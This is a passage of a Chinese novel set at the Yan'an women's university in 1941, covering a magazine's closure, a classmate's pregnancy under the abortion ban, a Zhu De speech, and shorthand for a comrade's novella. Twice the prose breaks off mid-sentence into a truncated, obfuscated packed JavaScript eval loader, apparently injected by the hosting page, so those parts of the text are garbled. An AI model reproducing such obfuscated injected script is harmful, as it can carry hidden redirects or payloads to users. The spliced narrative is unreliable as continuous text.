说这几句话的是段葵芳,虽然识字不多,但是段葵芳也爱看《中国妇女》,以为很是有趣,自从她认字多了,每期一出来,就抢着看,还跟着杂志上的文章学认字,为了看《中国妇女》,识字课不再那样吃力,□□夸奖,“开窍了啊!” 要说《中国妇女》,撰稿人相当一部分确实鼎鼎大名,比如邓颖超、张琴秋、丁玲、蔡畅、康克清、朱仲丽,就连毛主席、朱总司令,也都给杂志写稿,那水平是非常的高,不过在此之外,还有许多通讯员,专门报道普通妇女的生活,文字相当的浅近平实,非常鲜活的,就很投合段葵芳这一类妇女同志的口味,不但段葵芳,黄菲也很喜欢看,觉得是有一种活泼泼的兴味,读着这些文字,就好像回到了乳母的家中,带着乡间泥土的气息,与母亲精致的房间是不一样的。 “究竟是为什么不出了呢?莫非是没有钱来办?” “我听说,那些编辑呀,还有什么什么的,都是没有工资拿的。” “可能就是为着这个,实在做不下去了吧?” “要说她们不拿钱一直干了这么久,也是蛮辛苦的,能坚持到今天,够不容易的了,也难怪停办了。” 熊晖情绪很是激动地提议:“不如我们来捐款吧,捐钱给杂志社,让《中国妇女》能够继续办下去,那是我们精神的家园啊!我离开了自己的家,就是为了找这样的一个家!” 黄菲当即附议:“我捐一百!” 是自己剩下差不多所有的钱,之后就希望家里能够快一点再寄钱来,一时寄不过来也没什么,反正天气很快转暖,可以下河洗澡了。 潘岳荣和高明霖也都报了数目,段葵芳瞥了她们一眼,可真有钱,这些小姐同志,不过这种时候还真多亏了她们手里的钱。 学生们的议论,很快便给校方知道,这一天课后,□□与学生一起讨论时政的时候,很认真地说:“只想着妇女自身的问题,是狭隘的妇女解放,是主观主义、教条主义、形式主义,是资产阶级的女权,无产阶级的女权是要有更加广阔的眼界,更崇高的目标,要与国家和民族相结合,这才是妇女的出路。因应形势的需求,《中国妇女》停办了,是很可惜,但是难道从此就没有别的可以看吗?还有《新中华报》嘛,还有《今日新闻》嘛,怎么就没有东西可看?” 他的这一番批判,让学生们都默默低头,脸上露出惭愧的神色,黄菲一时间也很有些懊悔,自己之前为什么有那么多的抱怨?是啊,虽然《中国妇女》停刊,但此外还有许多书报可读,都是见解很精辟,很有分量的啊,景斌还介绍给自己许多的书,自己现在还没有时间一一读过,所以怎么就会无书可读呢?看来还是自身的政治觉悟太低,才会有这样肤浅的想法。 想着想着,黄菲不知怎么脱口便说出:“先生,在哪里可以找到鲁迅先生的书?” 在平乐,黄老爷烧了鲁迅的书。 □□看了她一眼,道:“在延安,我们都学习毛主席的著作。” 9. 第九章 孩子啊孩子 第九章 孩子啊孩子 四月里,延安的天气已经趋向温暖,十三号是礼拜天,早上黄菲起来了,刷牙洗脸,便把被子抱出去,晒在窑洞门前两棵树之间拴起的一条绳子上。 延安啊,虽然是气候干燥,但窑洞里面潮湿,被褥容易发霉,所以只要天气好,空闲时便要早起晒被子。 黄菲正拿一根小小的木棍,敲打着被子上的灰尘,“噗噗”,木棍落处,阳光中便可见一缕细细的灰从被子里腾起,忽然间便看到段葵芳捂着脸,从前面路上踉跄着走过。 黄菲很有些诧异,正想问她“怎么了”,她却已经匆匆地过去了。 黄菲觉得这件事很是奇怪,回头便和高明霖她们说了,到了下午,终于有确切的消息传来,段葵芳怀孕了。 与黄菲这一班女学生不同,段葵芳是已经结了婚,有丈夫的,相当一部分年纪大一点的女同学,都是结过婚的,每当礼拜六的傍晚,她们的丈夫就在女大的校门口等候,接妻子回家里去,仿佛过节一般,热闹得很,就是在这样的团聚之中,段葵芳一个不留意,便怀孕了。 听到了原来是这样,熊晖她们啧啧连声: “她要作妈妈了呀!” “那么学业怎么办?要休学吗?” “还不至于吧,十月怀胎呢,又不是马上就要生了,总可以再读一阵的。” “然后呢?她和我们一起入校的,要毕业还得再读一年。” “等到真的生了孩子再说咯,或者休学一阵,然后再回来,只是无论如何,大概要比我们晚一年毕业了。” 大家便聊起要去看一看段葵芳,毕竟怀孕是一件大喜事呢,一群没有结婚的女生议论着这件事,嘻嘻哈哈,都觉得有点不好意思,不过到底是同学怀孕,虽然不是同班,彼此终究认识,平时见了面都会说话的,这种时候仍然要去看一看,于是大家便凑钱买了一点柿饼,呼啦啦都涌去段葵芳的窑洞。 到了那里,便看到段葵芳坐在炕上,眼圈儿红红的,显然刚刚哭过,本来大家是兴冲冲来的,预备有好一番恭喜的话要说,一见如此情景,便也晓得不该这般兴高采烈,便各个收敛了神情,悄声屏气,轻轻地说话:“葵芳姐,你不高兴么?” 段葵芳向她们望了一望,都是十八九岁,二十出头,正在好时候,年轻鲜活的姑娘,段葵芳擤了一把鼻子,说道:“这种事,有什么可高兴的?” “啊!怎么??” 段葵芳手指狠狠抠着褥子:“女同志如果有了孩子,就不要再想革命了,孩子死死拴着你!” 然后扳着手指,一件件诉说,分娩的苦痛,哺育的艰难,有了孩子,什么都不能干。 潘岳荣眼珠飞快地转:“或者找一家稳妥的老乡,送去寄养?” 段葵芳苦笑一声:“送老乡家寄养?那这孩子还想不想要她活?你以为那是多么好的地方吗?我和你说,你将来倘若真有了孩子,若想要她长得大呢,就自己带,千万不要送去老乡家,那就是孩子一只脚进了阎王殿,八成是死了。” 陕北老乡家,喂给孩子小米汤,碗里还溺死苍蝇,潘岳荣听得变了脸色,其她人也都感觉后颈发凉。 黄菲听着听着,或许也是太感觉惊悚吧,忽然间冒出一句话来:“或者打胎吧。” 陈露云在旁边噗嗤一笑,推了黄菲一把:“她是有丈夫的,名正言顺,又不是私生,打的什么胎?” 黄菲的脸胀红了,便不再多说,转头看向桌子上的暖水瓶。 段葵芳则是冷笑一声:“打胎?你当现在的延安还可以容许女人打胎?早就不许了啊,就在今年一月里,定下来的条例,倘若是私自打胎,可是按犯罪来算呢。” 几个女学生登时大惊失色,连陈露云都变了脸色:“有这样的事?” 然而她马上又仿佛在安慰自己一般:“其实也没什么,第一个孩子本来便不好打的,若是堕了头胎,今后都只怕生不出来,伤得很厉害呢。” 段葵芳到这时,暂时把伤心放下了,冲着陈露云翻了个白眼:“既然真的觉得没什么,你还慌什么?看你那脸色,都发白了呢。” 就为了自己方才那几句话,陈露云漂亮的小脸陡然青白。 要说陈露云,着实是个美女,虽然还称不上是大美人,但在女大也是小有名气,也不知从哪里学来的法子,找了白线来,织成了一个假领子,就缝在灰布军装的里面,一眼看去就好像穿了一件白衬衣,格外的洋气。 段葵芳向来不太喜欢漂亮女人,总觉得她们是绣花枕头,就和太过漂亮的男人一样,空有一张脸好看,耐不得辛劳,而且头脑也往往不太好用,就比如陈露云,来延安都大半年了,有时候说起话来,还是一副资产阶级小姐的腔调,就想着怎么抄近路享福,然而世上哪有那样的好事? 不过如今想来,陈露云倒也不完全像自己想的那样,头脑空空,就比如现在,她倒是明白的,不能够打胎,那可真有些危险。 大家又说了一阵话,安慰段葵芳,让她不要太过担心,组织上对孩子肯定是会照顾的,然后便心事重重回到自己的窑洞,进门之后,便都炸了开来: “到底是怎么回事?竟然从来不知道的,延安怎么会有这样的法律?” “这不是共产党的法律,是国民党的法律,不是延安的规定,是重庆的规定。” “一定是特务出的主意,我们这里有日本人派来的内奸!” 大家愤愤不平。 黄菲想的是:“现在的延安,就已经是只能吃小米了,孩子养下来,拿什么给她吃呢?” 熊晖道:“我们去问问教育长,究竟是怎样一回事。” 听她这样一建议,其她人都觉得有理,于是便纷纷站起来,出了窑洞,往教育长宿舍快步走去。 张琴秋正坐在自己的窑洞之中,看着最新发下来的文件,忽然间门外有人在喊:“教育长,你在吗?” 张琴秋放下文件,微微一笑,过去开了门:“啊,熊晖,黄菲,你们来了,正巧刚刚有人送来一块火腿,你们帮我鉴定鉴定,是不是真正的金华火腿?” 张琴秋为人很风趣,她在延安有很高的威望,有时候便会得到别人的馈赠,这种时候,她从来不会自己享受,总是会分给学生一起吃,她方才那两句话还有个典故,有一回,人家送给她福建的线面,碰巧给高明霖知道了,便玩笑着说:“教育长,要不要我帮你鉴定一下,是不是真正的福州线面?” 高明霖是福建人。 张琴秋笑道:“欢迎欢迎,正想找一位行家来判定一下,晚上一起去我那里吃线面。” 然而一看门口,熊晖几个人脸色都不太对,不再是一向朝气蓬勃的热烈样子,而是都沉着脸,好像有什么事情受了打击。 张琴秋便说:“快到里面坐。” 大家涌进了窑洞,坐下来之后,熊晖劈面便问:“教育长,延安是不是真的规定,不准堕胎?” 张琴秋一听她提出了这个问题,一颗心登时也是一沉,与这些年轻的女生不同,这件事她是早已经知道了的,当时心中也掀起波澜,然而经过这样一段时间,张琴秋的思想已经确定了下来,此时她的目光缓缓从面前一张张青春纯净的面孔上掠过,慢慢地说:“有的时候,个人的权利要服从大局。” 这是没有解释的解释,与高明霖、黄菲这些女孩子不同,张琴秋闯过许多枪林弹雨,经历了多少风霜,当年在红四方面军当政治部主任,红四方面军在长征中最为惨烈,光是草地就过了三回,分散突围的时候,张琴秋不幸被俘,之后做苦工,蹲监牢,好容易国共谈判,她死里逃生,来到延安,当时是感到好像回了家一样,是那样的亲切温暖,安全可靠。 然而如今,自己的家却制定了这样的规定,就在去年十二月三十一日,陕甘宁边区政府民政厅颁发了保育儿童决定,今年的一月二十一日正式修正施行,那里面明确规定,“严禁打胎。有特殊情形,经医生证明及当地政府批准,才可经医生打胎;私自打胎者以犯罪论。” 当时看到这两列字,张琴秋的心里就咯噔一下,终究还是通过了,这一条禁止堕胎的条款,为了这个,许多女同志都抗争过,然而终于阻止不了,上面给出的理由 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这样的发问之后没过几天,到了周三政治课的时候,□□便对大家讲:“个人幸存不是妇女运动的主题,民族的出路才是结论所在。” 这是他内心真实的认定,妇女运动本身并不是终极目的,之所以要开展妇运,是为了国家和民族的解放,禁止堕胎这件事虽然有些残酷,但现在别无选择,抗战本来就消耗巨大的资源,不单是物质资源,也如同怪兽一样吞噬着大量的人口,前方每天都在死人,这个数额是一定要补充的,这就需要妇女同志多生孩子,否则就是只有消耗,没有生产。 他也知道相当一部分女同志,把生育当做是畏途,想方设法避免怀孕,即使怀了孕,也会寻求堕胎的办法,这样怎么行呢?这是对中国革命的不负责任,对抗战职责的逃避,而自从皖南事变,人口增长方面的需求压力就更大了,不仅要抗日,还要对付老蒋,这都需要人,所以这样的法规,就是不可避免的了,他个人是虽然同情,但是不得不默然承认的。 听了□□这样的忠告,黄菲这一个礼拜天的下午,一个人慢慢散步,便来到了空荡荡的延安城外。 站在古老的城墙下,仰望着巍峨的鼓楼,如今已经没有人在上面击鼓,然而此时,看着城墙上风霜的痕迹,依然能够想象到当年的暮鼓晨钟,延安,这一座千年的古城,记录了多少历史,何其的厚重,只是看着这一道城墙,还有上方陈旧的鼓楼,便感觉沉重的往事扑面而来,虽然那许多故事自己都没有亲历。 黄菲出了一会儿神,目光在城墙上移动起来,不多时便发现了弹坑,那是日机轰炸的弹片留下的痕迹,在地面上,也有深深的弹坑,延安就如同重庆一样,都经历了日寇残暴的、不人道的轰炸。 她想到了当前如火如荼的抗战,想到了中华民族的命运,想到中国妇女的命运,又想到自己将来的前景,种种思绪在她的头脑中搅来搅去,让她的脑子逐渐变得混乱,到后来竟然开始头疼起来。 这个时候,一群寒鸦不知给什么惊动,从城楼上成群地飞起,半个天空喧嚷着“哇……哇……”的叫声,黄菲定了定神,她现在能够确定的只有一件事,就是自己要努力学习,努力工作,为自己,也为民族,争取一个光明的未来。 10. 第十章 西行漫记 第十章 西行漫记 一个春季,都是开荒,山坡上层层叠叠的田地,种满了小米和白菜,还有南瓜。 到了六月里,这一个礼拜天的下午,有朱总司令的报告,大家都去听,朱老总大概是事情忙,一时没有来。 在延安往往是这样,定好的时间,总是不能准点进行,比如听报告,延迟半个小时甚至一个小时都并不意外,除了真的有事情拖延,比如这一次,其她许多时候,也是因为许多人没有手表,延安的手表太宝贵,都是要高级干部才能配有一块,黄菲从前有一块怀表的,不过前不久不知怎么,坏掉了,如今她也如同其她人一样,都是靠太阳月亮来推算时间。 等待朱老总的时候,大家便凑在一起,嘁嘁喳喳地聊天,聊得相当热烈,中心话题就是女大最近的一个新闻,一个女学生给一位团长看中,两个人谈起了恋爱,两个月前刚刚结婚,现在女学生就闹着要离婚,说团长老封建,不尊重女同志。 女生们都很是愤愤: “已经是革命同志,为什么还要这样呢?” “难道政治课上那些理论,都只是白白读过去么?” 一个男生,就是景斌同宿舍的同学,叫做马友和的,哈哈地笑起来:“她想当首长夫人啊,难怪会如此,女人爱慕虚荣,崇拜权威,就容易受这样的害。” 想离婚,离不了,整天四处找人伸冤,然而还不知什么时候可以离得开呢。 熊晖听了这几句话,登时差一点跳了起来,睁圆了眼睛,说道:“她敬重英雄,有什么错呢?怎么就说到是虚荣呢?在延安,哪个不敬仰英雄呢?就算真有一点虚荣,也不应该受到这样的对待。” 马友和嘎嘎地乐:“你自己也说,是有一点虚荣的,官太太不是那么好当的,想这样一步登天,就要考虑到会付出什么。” 熊晖的脸涨得通红,她向来是个容易激动的人,对于各种理论十分执拗,眼看着就要站起来和他辩论,黄菲在一旁咯咯笑了:“你虽然不是老干部,说起话来却也好像老干部一样。” 她这一句话说出来,周围的人都哄笑起来,沈芒含笑打着圆场:“英雄确实了不起,也难怪得到大家的敬佩,只不过如果读书少,思想就难免有一点陈旧,不容易很快更新过来。” 马友和也打着哈哈:“是啊,是啊,哈哈哈哈……” 不由得便瞥了黄菲一眼,景斌的这个女朋友啊,别看年纪小,又文文静静的,看起来不太像革命队伍里的女同志——那些女同志,包括女学生,哪怕原本是读得书多了,一派婉约格调,到了延安不多久,也都给锤炼得风风火火的,直来直去——不过景斌的小恋人倒真有一点手腕,还带着闺秀的风格,瞧她说出来的话,拐弯抹角,针尖包裹在棉纱里,挺有外交水平,让人恼也不是,笑也不是。 这时候沈芒一转头,看到一个人影,连忙站起来招呼:“景斌!在这里!快来!” 只见那边一个人,艰难地从拥作一团的人群之中奋力挤了过来,就好像巨大的风浪之中,一个人用尽全力游向岸边。 是景斌,刚刚才从边区的乡村访问回来的,黄菲一看到他,两眼登时格外的亮,脸色绯红,抿嘴笑着不说话。 又过了一段时间,前方人群激动起来,是朱老总来了,于是大家不再闲谈,场地之中很快安静下来,人们都专注地听朱总司令的报告,朱老总声音洪亮,一连讲了三个钟头:“当前抗战正在僵持之中……中华民族付出巨大的牺牲,消耗日本的国力,未来必然属于中国……争取国际支持……” 报告一直持续到了傍晚,朱总司令的讲话结束了,会场之中爆发出雷鸣般的掌声,那种热情如同排山倒海一样,汇向台上的总司令,总司令向大家挥手致意,转身准备离开,然而他一时还不能走,因为有许多人涌过来,和他说话,询问问题,还请他签名。 黄菲手中高高地举着一个笔记本,景斌在她前面,努力地开辟道路,虽然是用头脑工作的人,不过毕竟是个男人,力气更大一些,他在前头分开两边的人,挤出一条窄窄的空隙,黄菲紧跟在后面,随着便一点点靠近了,等她们两个经过,方才那一点点缝隙马上便消失不见,重新密不透风,就如同小船划过水面,那一条痕迹瞬间便给波浪覆盖。 终于到了主席台前,黄菲仰着头,望着前方那一张宽阔慈祥的脸,朱老总,多么像自己的爷爷。 自己出生之前,祖父已经死去,自己对祖父的印象,只是祠堂之中悬挂的那一幅画像,每年春节,拜祠堂的时候见到过,要说这一点,父亲的家中倒是比鲁迅先生的《祝福》好一些,《祝福》之中,迎福神是“拜的却只限于男人”,而父亲家中,母亲和儿媳女儿也都可以一同拜,无论是拜什么。 因此黄菲得以见到祖父的画像,是一个很清瘦的老年男人,脸看上去硬硬的,两只眼睛射出冷冷的光,一个很严肃很威严的人,让人一看就容易心里发慌,不但是他,以往先祖的画像也都是这样,当初虽然是上好的纸,然而经历了这样久的年月,都已经发黄变脆,蜡黄的纸,就好像肝病人蜡黄的脸,老祖母们的画像则是一味端庄雍容,好像每个人都是非常贤德的,有时候黄菲突发奇想,竟然想到将来母亲的身形相貌画在上面,只怕也是一样,仿佛是一个心满意足的贵妇人,虽然自己分明知道,母亲背地里对父亲有多少诅咒。 所以对于画像中的祖父,黄菲实在难以发生亲切感,她心目中的爷爷,就是朱老总这个样子,宽厚,慈爱,豁达,善良,而且又十分坚强,如果自己能有这样一个祖父,该有多好。 黄菲伸长了胳膊,将日记本递到了总司令的面前:“朱老总,帮我题个字吧,请多写几句话!” 朱德从密密麻麻排在面前的十几个笔记本中,拿了这一本,认真地看了一看面前这一个年轻的学生,女孩子兴奋得脸都红了,无限憧憬地望着自己,他笑了一笑,仔细想了想,用钢笔在日记本的扉页上写了两句话:“中国妇女觉醒之日,就是革命胜利之时,中华民族的解放,就是妇女的解放。朱德一九四一年六月十五日” 然后将日记本向前递回给了黄菲。 黄菲接过日记本,立刻将它紧紧贴在胸口,心中无限欢喜,只觉得这是自己一生中最重要的一件宝物。 这一天报告会散去之后,吃过了晚饭,黄菲与景斌沿着延河漫步,谈着这一天报告会的感想:“美国对中国的抗战是支持的啊!” 景斌点了点头:“史沫特莱女士回到美国,一定会为我们宣传的。” 黄菲感叹道:“国外的很多人,都对中国很友好的。” 景斌深有同感:“是啊,中国的抗战,需要国际上的支持,很多国际友人,都对中国的抗战和革命很热情的。” 一说到国际上的朋友,黄菲立刻想起了一个人:“啊,我知道的,斯诺先生,还有他那一本《西行漫记》!” 景斌笑了起来:“是的,埃德加·斯诺,他的那一本写延安的书,在中外影响很大,记得你曾经说,从前也是读过的。” 黄菲重重地连点几下头:“是啊是啊,这本书真是太好了,我反复看了几遍,就是看了这本书,我才下定决心来延安。” 于是黄菲絮絮地说起自己读《西行漫记》的感受:“真的是太好了,延安,苏维埃,如果欠了债,由男人负担,他还要付孩子的生活费!” 假如离婚,有债务的话,妻子是不负责还债的,养孩子的大部分费用也是男子要出的。 当时读这一段话,黄菲的心特别激动,想到了自己的大姐,她的嫁妆给丈夫夺去变卖了来还债,大姐是家中第一个孩子,虽然是女孩,双亲对她也比较疼爱,以为后来还有许多的希望,很不必急于一时,她当年出嫁的时候,家里给了大笔的嫁妆,本来以为她靠着这些财物,可以在夫家有地位,最起码可以保持住自己的生活,哪知丈夫生意失败,都给抢走了。 从那以后,黄菲便陆续知道了许多这类事,大姐的丈夫还算是正经的,赔钱是为了做生意,另有一些男人就更加糟糕,吃喝嫖赌,败坏了家业,弄到把妻子的嫁妆也赔进去 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然后,两个人便谈着景斌去到乡村的见闻,景斌两眼放着光,谈起他要创作的小说,他在农村住了半个多月的时间,与农民吃住在一起,还一同下田劳动,除了一条垄的草之后,终于得以一屁股坐下来休息,这个时候就一边大口喝着凉开水,一边听农友们闲谈,讲村里的事,对于生产,人们是多么的踊跃,尤其妇女同志,在妇救会的组织下,格外有热情,从八十几岁的老大娘,到七八岁的小女孩,要么下田,要么拾柴,干得热火朝天,简直有冲天的干劲。 景斌兴致勃勃:“边区能够得以维持,有妇女一半功劳。” 黄菲情绪也很是振奋:“国民党想要封锁我们,他封锁不住的。” 外界运不进食物衣服,可以自己生产,如今同学们每天晚上,都纺纱到半夜,那几块田地也精心料理,白菜一棵棵都长得极为肥硕。 景斌往口袋里摸烟:“只可惜也依然有二流子,有一些人,受了封建文化的荼毒,弄到游手好闲,非常的堕落,完全就是废人,虽然活着,却好像死的一样,当然倒也是无产者的,家里非常贫穷,然而偷鸡摸狗,坑蒙拐骗,就是社会的渣滓,好像蚂蟥一样的吸血,比如刘二混,从前靠赌博为生,聚赌抽头,还有韩老婆,给人跳大神的,红军来了之后,禁止这些封建迷信,她明面上不能跳神,暗地里偷偷地给人家跳,还算命,给群众揭发出来,批判了她,但愿能改……” 黄菲笑弯了腰:“啊哟,还有女二流子?” 景斌从烟盒里拿出唯一的一支烟,点着了火,衔在两片嘴唇之间,点头笑道:“有的啊,比男的少些,大概女人毕竟面皮薄一些,不像男人,皮糙肉厚,有一些真的是厚颜无耻。边区如今面对如此严峻的局势,怎么能继续放任这样的人?这日子过得,连烟都没得抽,这是最后一支了。” 黄菲笑着说:“烟抽完了,你不会去买?” 景斌摇头笑道:“哪里买得起?你到合作社看看,原本一毛钱一盒,现在已经涨到二十块了。” 黄菲嘻嘻地笑:“这样贵了啊,其实不抽更好,抽烟伤身体,牙齿又容易发黄,我看到一些老汉,几十年抽旱烟,牙都焦黄了呢,有的还豁了口,好像一个城门洞一样,还是给火烧过了的,烟熏火燎,你想要激发文思,就喝茶吧,不是有桂花茶?” 景斌哈哈乐起来:“还喝茶呢,早就给那帮家伙‘共产’了,晚上熬夜看书写稿子,一个个都要茶水提神,那么一小包茶叶,不过两个礼拜就瓜分完了,还得说你家乡的桂花茶真是好,大家都爱喝,什么时候很盼着能再喝一次。” 黄菲笑道:“我也是很想家里能再寄东西来,可是这么久了,妈妈连一封信都捎不进来的。” 景斌龇牙咧嘴:“真正叫做‘水泄不通’,如今的边区,连一只蚊子都飞不进来的。” 黄菲咯咯地乐:“‘革命虫’也出不去。” 景斌更加乐了:“对嘛,很该让外面的人,也都经受一下虱子跳蚤的考验,就能更有抗战精神。” 然后说:“从明天起,就要开始动笔写我的小说,一路上框架已经构思好了,只等落笔。” 黄菲也很是起劲,自告奋勇:“我来给你记录,保管又快又好,不会中断你的思路。” 景斌笑道:“那可是要辛苦你了。” 黄菲笑着说:“有什么辛苦?就只当做练习,说不定将来,就要出一个文豪呢!” 景斌哈哈地乐:“你太偏爱我。” 11. 第十一章 失落的家园 第十一章 失落的家园 果然从第二天开始,黄菲每天当日的课业完成,就去景斌那里,给他作速记,景斌是一个头脑很活跃的人,神经不断地跳动,各种想法纷繁涌来,黄菲坐在炕桌边,耳朵里听着景斌口中倾泻出来的一连串词汇,手中的铅笔不停地在纸上沙沙沙地划着。 对于黄菲的速记,沈芒他们也很以为有趣,马友和凑过来,看着她写在笔记本上的东西,啧啧连声:“啊哟哟,这都是些什么鬼画符?有些看起来也是中国字,可是我怎么偏偏就是不认得的?” 多数都是稀奇古怪的符号,少量方块字,都是笔画很少的那种,汉字本来自己认识,可是放在那一堆天师符里面,愣是不知道是什么意思。 黄菲抿着嘴一笑,随口说了一句:“密码,不能告诉你。” 手上依然不停地记着。 沈芒笑道:“速记真的是专门技术呢,我们外行看起来,确实和摩尔斯密码差不多。” 这一个晚上,景斌口授了不知几千字,还在不停地说,沈芒探头到窑洞门外,外面月亮已经升得很高了,便笑着说:“已经很晚了,大概有十一二点吧?你们还要继续写吗?” 景斌这个时候也从写作的激情之中稍稍清醒过来,一看天色,果然已经将近半夜,便收束住了依然纷涌的思绪,笑道:“真的已经太晚了,黄菲同志,很不好意思,辛苦你这么久,我送你回去吧。” 黄菲转过脸一笑,手里仍握着笔:“没什么的,趁着你思路正敏捷,就多录一些。” 景斌摇头:“今天差不多了,之前的想法,多已经说了出来,现在没有太多东西可说,况且你回头还要整理。快快回去休息吧,明天晚上我们再来记录。” 黄菲见他不肯再口授,便笑着站起来,将笔记本夹在腋下,向其他人道别,两个人走了出去。 路上,景斌的兴致很快重新提了起来,又谈起了他的小说,他在文学上的志向,黄菲不说什么,笑眯眯地只是听着。 次日六月十七号,黄菲午饭都顾不得正经吃,匆匆吞了几口小米饭,便回去窑洞赶快整理昨天的速记,真是不少呢,之前估计是七八千字,真正重录在纸上,才发现已经过了万字,昨天晚间一个多钟头,就是这么多字,单纯记速记,倒是节约时间,可是现在要恢复成通常的文字,就格外耗费工夫,要写的字多出了许多,而且笔画也多,不是速记符号那样的简约,而自己下午还有课,晚上又已经答应了景斌,要去他那里再做速记,一想到这些,黄菲就觉得有点喘不过气来。 她深呼吸,定了定神,然而无论如何,自己是可以坚持的。 之后的一周时间,黄菲每天都为景斌做速记,尤其是礼拜天,别人出去看秧歌,她们两个人在窑洞里一个口授,一个记录,一整天录了几万字,黄菲回去连夜誊写出来,第二天傍晚,眼睛红红地交给了景斌,景斌接过那笔迹清秀、工工整整的稿子,一列列看着上面的字,十分欣喜:“黄菲,谢谢你,我这就要投搞到报社去,如果能够发表,一半成就应该属于你。” 黄菲抿嘴笑道:“啊呀,我并没有做什么啊!” 景斌笑着说:“你太谦逊,如果没有你,我不能在这么短的时间里,完成这样一部中篇。” 足足十万字,假如全靠自己的一支笔来写,得多久才能写完?而且在忙于写字的过程中,难免有一些想法会失落了,作家的灵感啊,有的时候就如同白驹过隙,一闪而过,之后再也难以寻觅,那该是多么的可惜呢,虽然不敢与文豪相比,不过景斌对于自己的想法,也是相当的珍视,不愿有所失落。 景斌满怀兴奋地投了稿,之后就一日三次跑传达,盼着通讯员带来消息。 八月初,黄菲这一天午后正在校园内的树下背诵英文单词,忽然间听到有人招呼自己:“黄菲,不要读书了,快来,我们去厨房帮厨!” 黄菲抬起头来,见是麻德芳,正站在那里笑嘻嘻地向自己招手,旁边还立着潘岳荣和陈露云。 天气太热,黄菲有一点懒懒的,背单词让人犯困,便摇了摇头:“我不去了,你们去吧。” 陈露云在一旁乐着说:“傻子,你不去?今天有新鲜的鸡蛋!” 一听说有鸡蛋,黄菲就如同一碗酸梅汤进肚,马上就精神了,一下子就从地上蹦了起来,拍打了两下裤子上的尘土,边跑边说:“等我,我去!” 三个人一路跑到厨房,苗伯一看到她们,把扫帚倚在墙角,笑眯眯地说:“啊也,你们来帮忙了啊!来来来,帮我把这几棵白菜洗干净。” 黄菲她们答应一声,便从水缸里面舀了水,坐在那里一边说笑,一边洗白菜,一片一片叶子剥下来洗,苗伯在旁边忙其它的事,乐呵呵地听着。 陈露云一如既往嘻嘻哈哈:“听说要涨津贴费了呢,就连我们,也要涨到一百元,好大的数目,足足可以买五包烟!” 苗伯一边搅着碗里的鸡蛋,一边慢悠悠地说:“哟,你们年轻的姑娘,买什么烟啊?不要抽烟,抽烟的都不是正经人。” 几个人登时哄笑起来,黄菲也笑,自己把那一百元压箱底的钱给了景斌,景斌死活不肯要,最后只收了五十,说等他有了稿费,请自己吃饭,朋友们知道了这件事,便拿来当做笑话,陈露云已经几次取笑自己,说自己“贤良淑德”,是个好内助,自己便回答她,“这是革命同志的友情!” 而苗伯向来不抽烟,也讨厌人家抽烟,在延安的人,尤其是革命者,少有几个不抽烟的,即使是女同志,也往往能抽几支,然而苗伯很烦抽烟。 倘若苗伯这几句话给传了出去,只怕要得罪许多人,不过自然是没有人会为他鼓吹宣传,大家爱苗伯,就好像爱自己的亲人。 苗伯今年六十几岁,一辈子没有结婚,就是给人烧饭,后来日本人来了,便从湖北流亡到陕北,他慈眉善目,两只眼角和两条眉梢略略往下垂着,面孔白白的,少有胡须,略有一点胖,人特别好,十分关照这些青年学生,总是提醒她们喝开水,不要喝生水,他这里随时也都有开水,好像老妈妈一样,因此黄菲往往不能把他看成自己的爷爷,而是很离奇的当做是自己的老祖母。 苗伯不喜欢抽烟,一个主要的原因是,他特别爱干净,延安虽然缺水,运水要费很大的力气,但是女大厨房的水缸总是满满的,腰间扎了一个雪白的大围裙,从早到晚不停地到处擦抹清扫,灶台和地面什么时候都是干干净净,锅盆擦得闪闪发亮,柴堆得整整齐齐,他对抽烟最讨厌的一点,还不在于味道呛人,或者是吸出肺病,而是飘散的烟灰,很容易落得到处都是。 苗伯认为,烧饭的人尤其是不应该抽烟的,想一想嘴里衔着一支烟卷,随着火星的延伸,前端的灰烬越来越长,自然而然就会掉落在铁锅里,做饭的自己倒是不在意,吃饭的人把烟灰都吃了进去,苗伯以为,这样是不道德的。 几个女学生在这里嬉笑谈天,那边苗伯已经通开了火,烧热油锅,往里面倒了一些菜籽油,然后便浇了一小碗蛋液进去,将鸡蛋炒得金灿灿,用铲子盛出来,这时候潘岳荣几个人已经在悄悄吞口水,连谈天都顾不上了。 苗伯笑眯眯地望了她们一眼,不紧不慢地打开了密封的罐子,从里面舀出几大勺红红黄黄的颗粒,锅里又加了油,把那小颗粒往锅中就是一洒,房屋中登时弥漫起一股浓烈香气,香得十分刺激,是苗伯宝贝的炸胡椒,其实是炸辣椒,配了许多的玉米粉,非常的香。 黄菲在父亲的家中,常吃粉蒸肉,以为蒸熟的米粉比猪肉还要好吃,到了延安,在这里吃到了苗伯的炸胡椒,炸胡椒炒这个,炸胡椒炒那个,觉得比起粉蒸别有一番风味,虽然是条件所限,用了玉米粉,不过黄菲现在已经习惯于吃小米或者玉米,以为比起细腻的白米,格外有生活的火热味道。 不多时,一碗炸胡椒炒鸡蛋便端上了桌面,是苗伯平时自己吃饭的小木桌,只用了一个鸡蛋,余下大半碗都是炸胡椒,苗伯又给她们拿了两个黑乎乎的馍,是高粱面,方才加热过了,此时每个人掰开半个,配炒蛋来吃。 陈露云笑嘻嘻地道谢:“谢谢苗伯,苗伯你真好,就像我的亲爷爷!” 苗伯笑得愈发开怀:“趁热快吃吧,冷了就不好吃了。这里面就属你嘴最甜,好像抹了蜜。” 几个人风卷残云,三两分钟吃完了这一顿加餐,在延安住了超过一年,这个地方的人爱吃辣椒,所以到如今,黄菲自然是不必说了,桂林辣椒酱声名在外,就连陈露云和潘岳荣这两个江南人,都能尝一点辣椒。 辣椒真提味道啊,在陕北,蔬菜的种类是少的,一年到头常吃的就是白菜、南瓜、萝卜、洋芋,饮食非常单调,这种情况下,辣椒就是神仙的法术,只要在菜里面加一点,立刻点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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因为这样的心事,这一节军事课,大家都没有心情听讲,小组讨论的时候,谈的都是关闭学校之后的出路问题。 